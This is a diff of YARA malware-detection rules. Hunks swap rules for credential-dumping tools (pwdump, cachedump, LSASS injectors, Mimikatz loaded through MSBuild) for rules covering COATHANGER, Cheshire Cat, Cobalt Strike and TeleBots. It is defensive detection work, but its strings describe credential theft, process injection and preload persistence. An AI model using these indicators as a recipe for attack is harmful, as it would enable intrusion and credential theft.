+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5619de9589e3d34026bf4ec223f2c6b94fcb7362c8f3c26f7582030cfc4385cf"
+		score = 65
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "efa66f6391ec471ca52cd053159c8a8778f11f921da14e6daf76387f8c9afcd5"
-		hash2 = "e0327c1218fd3723e20acc780e20135f41abca35c35e0f97f7eccac265f4f44e"
+		hash1 = "515f5188ba6d039b8c38f60d3d868fa9c9726e144f593066490c7c97bf5090c8"
 
 	strings:
-		$x1 = "Target: Failed to load primary SAM functions." fullword ascii
-		$x2 = "lsremora64.dll" fullword ascii
-		$x3 = "PwDumpError:999999" fullword wide
-		$x4 = "PwDumpError" fullword wide
-		$x5 = "lsremora.dll" fullword ascii
-		$s1 = ":\\\\.\\pipe\\%s" fullword ascii
-		$s2 = "x%s_history_%d:%d" fullword wide
-		$s3 = "Using pipe %s" fullword ascii
+		$x1 = "C:\\Projets\\vbsedit_source\\script2exe\\Release\\mywscript.pdb" fullword ascii
+		$s1 = "mywscript2" fullword wide
+		$s2 = "MYWSCRIPT2" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of ($x*)) or (3 of them )
+		uint16(0)==0x5a4d and filesize <800KB and ($x1 or 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Servpw : FILE
+rule SIGNATURE_BASE_No_Powershell : FILE
 {
 	meta:
-		description = "Detects a tool used by APT groups - file servpw.exe"
+		description = "Detects an C# executable used to circumvent PowerShell detection - file nps.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "48b9dae1-16b3-563c-ac4e-b71f3a86b38a"
-		date = "2016-09-08"
+		id = "362a61bc-2c10-5076-93be-9f8b5a9ae8ba"
+		date = "2016-05-21"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/igxLyF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3325-L3344"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "150466c23ea7aa20f6e60c592ab6bd2f42e3a48a65a6665b89a9f19fa61aae8f"
-		score = 75
+		reference = "https://github.com/Ben0xA/nps"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_nopowershell.yar#L8-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9fba467cfbf8cad0c8e6cf1e1c7eacd8b0be869ebe6c5180f50f5cdefa8b5bb5"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "97b39ac28794a7610ed83ad65e28c605397ea7be878109c35228c126d43e2f46"
-		hash2 = "0f340b471ef34c69f5413540acd3095c829ffc4df38764e703345eb5e5020301"
+		hash1 = "64f811b99eb4ae038c88c67ee0dc9b150445e68a2eb35ff1a0296533ae2edd71"
 
 	strings:
-		$s1 = "Unable to open target process: %d, pid %d" fullword ascii
-		$s2 = "LSASS.EXE" fullword wide
-		$s3 = "WriteProcessMemory failed: %d" fullword ascii
-		$s4 = "lsremora64.dll" fullword ascii
-		$s5 = "CreateRemoteThread failed: %d" fullword ascii
-		$s6 = "Thread code: %d, path: %s" fullword ascii
+		$s1 = "nps.exe -encodedcommand {base64_encoded_command}" fullword wide
+		$s2 = "c:\\Development\\ghps\\nps\\nps\\obj\\x86\\Release\\nps.pdb" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 3 of them ) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <40KB and (1 of ($s*))) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Fgexec : FILE
+rule SIGNATURE_BASE_MAL_Fortinet_COATHANGER_Beacon : COATHANGER FILE
 {
 	meta:
-		description = "Detects a tool used by APT groups - file fgexec.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8ffe47b9-81a8-5eb4-b46f-db9d23682de4"
-		date = "2016-09-08"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/igxLyF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3346-L3362"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3672255d7829520aa8ca792519f645b86fe4244a16652a960375f23baa7d32b3"
+		description = "Detects COATHANGER beaconing code"
+		author = "NLD MIVD - JSCU"
+		id = "0c84e6e4-afae-5150-82e2-8de528cd11fc"
+		date = "2024-02-06"
+		modified = "2024-04-24"
+		reference = "https://www.ncsc.nl/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_fortinet_coathanger_feb24.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e44496e62de8c885d5bd941819a97f4c0dd90ce2d0cfe9d042ab9590cc354ddb"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8697897bee415f213ce7bc24f22c14002d660b8aaffab807490ddbf4f3f20249"
+		tags = "COATHANGER, FILE"
+		malware = "COATHANGER"
 
 	strings:
-		$x1 = "\\Release\\fgexec.pdb" ascii
-		$x2 = "fgexec Remote Process Execution Tool" fullword ascii
-		$x3 = "fgexec CallNamedPipe failed" fullword ascii
-		$x4 = "fizzgig and the mighty foofus.net team" fullword ascii
+		$chunk_1 = { 48 B8 47 45 54 20 2F 20 48 54 48 89 45 B0 48 B8 54 50 2F 32 0A 48 6F 73 48 89 45 B8 48 B8 74 3A 20 77 77 77 2E 67 48 89 45 C0 48 B8 6F 6F 67 6C 65 2E 63 6F }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of ($x*)) or (3 of them )
+		uint32(0)==0x464c457f and filesize <5MB and any of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Cachedump : FILE
+rule SIGNATURE_BASE_MAL_Fortinet_COATHANGER_Files : COATHANGER FILE
 {
 	meta:
-		description = "Detects a tool used by APT groups - from files cachedump.exe, cachedump64.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ebcaeb73-d2df-5a4c-9f50-b4a01293b88b"
-		date = "2016-09-08"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/igxLyF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3364-L3384"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7e4d710ed9dab12114e87fa33abe6db6245c780b31bcd94fbd21e75aaa355ca8"
+		description = "Detects COATHANGER files by used filenames"
+		author = "NLD MIVD - JSCU"
+		id = "0aa2f266-247b-5510-9fd9-4c7940fb80e8"
+		date = "2024-02-06"
+		modified = "2024-04-24"
+		reference = "https://www.ncsc.nl/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_fortinet_coathanger_feb24.yar#L17-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5406d8a99e16f08f1ffca548ea1dd1e27e7707506e796e0fc263bcdbb681632d"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "cf58ca5bf8c4f87bb67e6a4e1fb9e8bada50157dacbd08a92a4a779e40d569c4"
-		hash2 = "e38edac8c838a043d0d9d28c71a96fe8f7b7f61c5edf69f1ce0c13e141be281f"
+		tags = "COATHANGER, FILE"
+		malware = "COATHANGER"
 
 	strings:
-		$s1 = "Failed to open key SECURITY\\Cache in RegOpenKeyEx. Is service running as SYSTEM ? Do you ever log on domain ? " fullword ascii
-		$s2 = "Unable to open LSASS.EXE process" fullword ascii
-		$s3 = "Service not found. Installing CacheDump Service (%s)" fullword ascii
-		$s4 = "CacheDump service successfully installed." fullword ascii
-		$s5 = "Kill CacheDump service (shouldn't be used)" fullword ascii
-		$s6 = "cacheDump [-v | -vv | -K]" fullword ascii
+		$1 = "/data2/"
+		$2 = "/httpsd"
+		$3 = "/preload.so"
+		$4 = "/authd"
+		$5 = "/tmp/packfile"
+		$6 = "/smartctl"
+		$7 = "/etc/ld.so.preload"
+		$8 = "/newcli"
+		$9 = "/bin/busybox"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and 1 of them ) or (3 of them )
+		( uint32(0)==0x464c457f or uint32(4)==0x464c457f) and filesize <5MB and 4 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Pwdump_B : FILE
+rule SIGNATURE_BASE_Cheshirecat_Sample2 : FILE
 {
 	meta:
-		description = "Detects a tool used by APT groups - file PwDump.exe"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "aad974f1-76bf-5aae-8376-a4fd3f27b345"
-		date = "2016-09-08"
+		id = "14448138-0af3-5669-8aa3-f9e773e2a008"
+		date = "2015-08-08"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/igxLyF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3386-L3406"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d50ad359b9433439cddda9408d227f35ee8de3280ad24f42c5e6ef1e6a1526bd"
-		score = 75
+		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cheshirecat.yar#L11-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dc18850d065ff6a8364421a9c8f9dd5fcce6c7567f4881466cee00e5cd0c7aa8"
+		logic_hash = "4dd299cfe36545dba5ccac22d2eedc405f548fe5f976514d1cfa8238b472782c"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3c796092f42a948018c3954f837b4047899105845019fce75a6e82bc99317982"
 
 	strings:
-		$x1 = "Usage: %s [-x][-n][-h][-o output_file][-u user][-p password][-s share] machineName" fullword ascii
-		$x2 = "pwdump6 Version %s by fizzgig and the mighty group at foofus.net" fullword ascii
-		$x3 = "where -x targets a 64-bit host" fullword ascii
-		$x4 = "Couldn't delete target executable from remote machine: %d" fullword ascii
-		$s1 = "lsremora64.dll" fullword ascii
-		$s2 = "lsremora.dll" fullword ascii
-		$s3 = "servpw.exe" fullword ascii
+		$s0 = "mpgvwr32.dll" fullword ascii
+		$s1 = "Unexpected failure of wait! (%d)" fullword ascii
+		$s2 = "\"%s\" /e%d /p%s" fullword ascii
+		$s4 = "error in params!" fullword ascii
+		$s5 = "sscanf" fullword ascii
+		$s6 = "<>Param : 0x%x" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and 1 of ($x*)) or (3 of them )
+		uint16(0)==0x5a4d and filesize <100KB and 4 of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Msbuild_Mimikatz_Execution_Via_XML
+rule SIGNATURE_BASE_Cheshirecat_Gen1 : FILE
 {
 	meta:
-		description = "Detects an XML that executes Mimikatz on an endpoint via MSBuild"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "98aa68b9-6de4-5353-8d87-9e974529c044"
-		date = "2016-10-07"
+		id = "2068feed-2101-5b12-9e36-db7b0f5cc4ec"
+		date = "2015-08-08"
 		modified = "2023-12-05"
-		reference = "https://gist.github.com/subTee/c98f7d005683e616560bda3286b6a0d8#file-katz-xml"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3417-L3436"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f926a2d5ab987b97c6ed2a89c69eac5549d8b7885bdbf75ce40e05e6ce6cfa7a"
-		score = 75
+		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cheshirecat.yar#L35-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d1bbda9340bc2d2fcefd6bf9a3c30fe0b99c66fb978b3a4583f17c521cfcf4b0"
+		score = 90
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
+		hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
+		hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
+		hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
 
 	strings:
-		$x1 = "<Project ToolsVersion=" ascii
-		$x2 = "</SharpLauncher>" fullword ascii
-		$s1 = "\"TVqQAAMAAAA" ascii
-		$s2 = "System.Convert.FromBase64String(" ascii
-		$s3 = ".Invoke(" ascii
-		$s4 = "Assembly.Load(" ascii
-		$s5 = ".CreateInstance(" ascii
+		$x1 = "CAPESPN.DLL" fullword wide
+		$x2 = "WINF.DLL" fullword wide
+		$x3 = "NCFG.DLL" fullword wide
+		$x4 = "msgrthlp.dll" fullword wide
+		$x5 = "Local\\{c0d9770c-9841-430d-b6e3-575dac8a8ebf}" fullword ascii
+		$x6 = "Local\\{1ef9f94a-5664-48a6-b6e8-c3748db459b4}" fullword ascii
+		$a1 = "Interface\\%s\\info" fullword ascii
+		$a2 = "Interface\\%s\\info\\%s" fullword ascii
+		$a3 = "CLSID\\%s\\info\\%s" fullword ascii
+		$a4 = "CLSID\\%s\\info" fullword ascii
+		$b1 = "Windows Shell Icon Handler" fullword wide
+		$b2 = "Microsoft Shell Icon Handler" fullword wide
+		$s1 = "\\StringFileInfo\\%s\\FileVersion" ascii
+		$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
+		$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
+		$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
+		$s5 = "%sMutex" fullword ascii
+		$s6 = "\\ShellIconCache" ascii
+		$s7 = "+6Service Pack " fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <350KB and 7 of ($s*) and 2 of ($a*) and 1 of ($b*) and 1 of ($x*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Fscan_Portscanner : FILE
+rule SIGNATURE_BASE_Cheshirecat_Gen2 : FILE
 {
 	meta:
-		description = "Fscan port scanner scan output / strings"
+		description = "Cheshire Cat Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "400383dc-8bc0-5e77-a3f3-d6ba9f4c3c0f"
-		date = "2017-01-06"
+		id = "b97b20bd-f6b9-512f-ba99-6c38ba7853be"
+		date = "2015-08-08"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/JamesHabben/status/817112447970480128"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3447-L3461"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "35770f040da0b14fe4492a44383e332c9912bd89943838627491196ce8f0ec37"
-		score = 75
+		reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cheshirecat.yar#L76-L108"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c5d6ce6cc09c416d3449f7f5fc09139ce9271b69d743832b4b2548682e4ddf1"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
+		hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
+		hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
+		hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
 
 	strings:
-		$s1 = "Time taken:" fullword ascii
-		$s2 = "Scan finished at" fullword ascii
-		$s3 = "Scan started at" fullword ascii
+		$a1 = "Interface\\%s\\info" fullword ascii
+		$a2 = "Interface\\%s\\info\\%s" fullword ascii
+		$a3 = "CLSID\\%s\\info\\%s" fullword ascii
+		$a4 = "CLSID\\%s\\info" fullword ascii
+		$b1 = "Windows Shell Icon Handler" fullword wide
+		$b2 = "Microsoft Shell Icon Handler" fullword wide
+		$s1 = "\\StringFileInfo\\%s\\FileVersion" ascii
+		$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
+		$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
+		$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
+		$s5 = "%sMutex" fullword ascii
+		$s6 = "\\ShellIconCache" ascii
+		$s7 = "+6Service Pack " fullword ascii
 
 	condition:
-		filesize <20KB and 3 of them
+		uint16(0)==0x5a4d and filesize <200KB and 7 of ($s*) and 2 of ($a*) and 1 of ($b*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_WPR_Loader_EXE : FILE
+rule SIGNATURE_BASE_HKTL_Cobaltstrike_Sleepmask_Jul22
 {
 	meta:
-		description = "Windows Password Recovery - file loader.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "97fa3efb-9e7a-52ef-9e26-3fdd573d4d30"
-		date = "2017-03-15"
+		description = "Detects static bytes in Cobalt Strike 4.5 sleep mask function that are not obfuscated"
+		author = "CodeX"
+		id = "d396ab0e-b584-5a7c-8627-5f318a20f9dd"
+		date = "2022-07-04"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3473-L3493"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "26af6fe1b3dfe8e3a48c03a9f6f2033fbc909a677d35159e28b7e9b867ea5542"
-		score = 75
+		reference = "https://codex-7.gitbook.io/codexs-terminal-window/blue-team/detecting-cobalt-strike/sleep-mask-kit-iocs"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cobaltstrike.yar#L3-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "233b3cb441f45f400c0261589aac31dd1fcd9c4e3a86a6aaa46c60849063b34b"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e7d158d27d9c14a4f15a52ee5bf8aa411b35ad510b1b93f5e163ae7819c621e2"
+		tags = ""
 
 	strings:
-		$s1 = "Failed to get system process ID" fullword wide
-		$s2 = "gLSASS.EXE" fullword wide
-		$s3 = "WriteProcessMemory failed" fullword wide
-		$s4 = "wow64 process NOT created" fullword wide
-		$s5 = "\\ast.exe" wide
-		$s6 = "Exit code=%s, status=%d" fullword wide
-		$s7 = "VirtualProtect failed" fullword wide
-		$s8 = "nSeDebugPrivilege" fullword wide
+		$sleep_mask = { 48 8B C4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 45 33 DB 45 33 D2 33 FF 33 F6 48 8B E9 BB 03 00 00 00 85 D2 0F 84 81 00 00 00 0F B6 45 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 3 of them )
+		$sleep_mask
 }
-import "pe"
-
-rule SIGNATURE_BASE_WPR_Loader_DLL : FILE
+rule SIGNATURE_BASE_Telebots_Intercepterng : FILE
 {
 	meta:
-		description = "Windows Password Recovery - file loader64.dll"
+		description = "Detects TeleBots malware - IntercepterNG"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d3102ab6-0473-544b-b9dd-ec7a18ae1c4b"
-		date = "2017-03-15"
+		id = "f4d48eb6-8235-534d-a32f-7f2711b96e9d"
+		date = "2016-12-14"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3495-L3528"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "015334828007e954d1e910e6377b37bade99df2ce86152901ec4ded8c71975de"
+		reference = "https://goo.gl/4if3HG"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_telebots.yar#L10-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cbf0d44d871ec471e891fb909612f58263ec0b0c702f87875f6e027362409318"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7b074cb99d45fc258e0324759ee970467e0f325e5d72c0b046c4142edc6776f6"
-		hash2 = "a1f27f7fd0e03601a11b66d17cfacb202eacf34f94de3c4e9d9d39ea8d1a2612"
+		hash1 = "5f9fef7974d37922ac91365588fbe7b544e13abbbde7c262fe30bade7026e118"
 
 	strings:
-		$x1 = "loader64.dll" fullword ascii
-		$x2 = "loader.dll" fullword ascii
-		$s1 = "TUlDUk9TT0ZUX0FVVEhFTlRJQ0FUSU9OX1BBQ0tBR0VfVjFfMA==" fullword ascii
-		$s2 = "UmVtb3RlRGVza3RvcEhlbHBBc3Npc3RhbnRBY2NvdW50" fullword ascii
-		$s3 = "U2FtSVJldHJpZXZlUHJpbWFyeUNyZWRlbnRpYWxz" fullword ascii
-		$s4 = "VFM6SW50ZXJuZXRDb25uZWN0b3JQc3dk" fullword ascii
-		$s5 = "TCRVRUFjdG9yQWx0Q3JlZFByaXZhdGVLZXk=" fullword ascii
-		$s6 = "YXNwbmV0X1dQX1BBU1NXT1JE" fullword ascii
-		$s7 = "TCRBTk1fQ1JFREVOVElBTFM=" fullword ascii
-		$s8 = "RGVmYXVsdFBhc3N3b3Jk" fullword ascii
-		$op0 = { 48 8b cd e8 e0 e8 ff ff 48 89 07 48 85 c0 74 72 }
-		$op1 = { e8 ba 23 00 00 33 c9 ff 15 3e 82 }
-		$op2 = { 48 83 c4 28 e9 bc 55 ff ff 48 8d 0d 4d a7 00 00 }
+		$s1 = "Usage: %s iface_num\\dump [mode] [w] [-gw] [-t1 ip]" fullword ascii
+		$s2 = "Target%d found: %s - [%.2X-%.2X-%.2X-%.2X-%.2X-%.2X]" fullword ascii
+		$s3 = "3: passwords + files, no arp poison" fullword ascii
+		$s4 = "IRC Joining Keyed Channel intercepted" fullword ascii
+		$s5 = "-tX - set target ip" fullword ascii
+		$s6 = "w - save session to .pcap dump" fullword ascii
+		$s7 = "example: %s 1 1 -gw 192.168.1.1 -t1 192.168.1.3 -t2 192.168.1.5" fullword ascii
+		$s8 = "ORACLE8 DES Authorization intercepted" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and ((1 of ($x*) and 1 of ($s*)) or (1 of ($s*) and all of ($op*)))
+		( uint16(0)==0x5a4d and filesize <500KB and 1 of them ) or (4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_WPR_Passscape_Loader : FILE
+rule SIGNATURE_BASE_Telebots_Killdisk_1 : FILE
 {
 	meta:
-		description = "Windows Password Recovery - file ast.exe"
+		description = "Detects TeleBots malware - KillDisk"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d8e224ce-edd2-5e2d-9b6e-a8995f5d2c1c"
-		date = "2017-03-15"
+		id = "111fc6bc-b790-51b9-81b7-a4716bb0aee9"
+		date = "2016-12-14"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3530-L3548"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "79b1a3ed1ea0d9a3ddee0b8557393318a8baf4812110a6ed03a7106b8096b31e"
+		reference = "https://goo.gl/4if3HG"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_telebots.yar#L32-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e70d324c408bae1bb42b16f19cd0e6b87e8228c7480d571fef5266eee5695fd2"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f6f2d4b9f19f9311ec419f05224a1c17cf2449f2027cb7738294479eea56e9cb"
+		hash1 = "8246f709efa922a485e1ca32d8b0d10dc752618e8b3fce4d3dd58d10e4a6a16d"
 
 	strings:
-		$s1 = "SYSTEM\\CurrentControlSet\\Services\\PasscapeLoader64" fullword wide
-		$s2 = "ast64.dll" fullword ascii
-		$s3 = "\\loader64.exe" wide
-		$s4 = "Passcape 64-bit Loader Service" fullword wide
-		$s5 = "PasscapeLoader64" fullword wide
-		$s6 = "ast64 {msg1GkjN7Sh8sg2Al7ker63f}" fullword wide
+		$s1 = "Plug-And-Play Support Service" fullword wide
+		$s2 = " /c \"echo Y|" fullword wide
+		$s3 = "-set=06.12.2016#09:30 -est=1410" fullword ascii
+		$s4 = "%d.%d.%d#%d:%d" fullword ascii
+		$s5 = " /T /C /G " fullword wide
+		$s6 = "[-] > %ls" fullword wide
+		$s7 = "[+] > %ls" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
+		( uint16(0)==0x5a4d and filesize <500KB and 4 of them ) or (6 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_WPR_Asterisk_Hook_Library : FILE
+rule SIGNATURE_BASE_Telebots_Killdisk_2 : FILE
 {
 	meta:
-		description = "Windows Password Recovery - file ast64.dll"
+		description = "Detects TeleBots malware - KillDisk"
 		author = "Florian Roth (Nextron Systems)"
-		id = "03c20c9d-bb8f-53f6-9cb5-9b059fb24949"
-		date = "2017-03-15"
+		id = "7797187f-c94b-5323-ae43-2dc001f0b481"
+		date = "2016-12-14"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3550-L3572"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6bb75cb8c3ba18a34f4651532060154608c78e6f748148226da4416ad1171124"
+		reference = "https://goo.gl/4if3HG"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_telebots.yar#L53-L68"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e4ae09a226c4eecae18e685423ef30b3776be518609f89a078c647fe8ee00f19"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "225071140e170a46da0e57ce51f0838f4be00c8f14e9922c6123bee4dffde743"
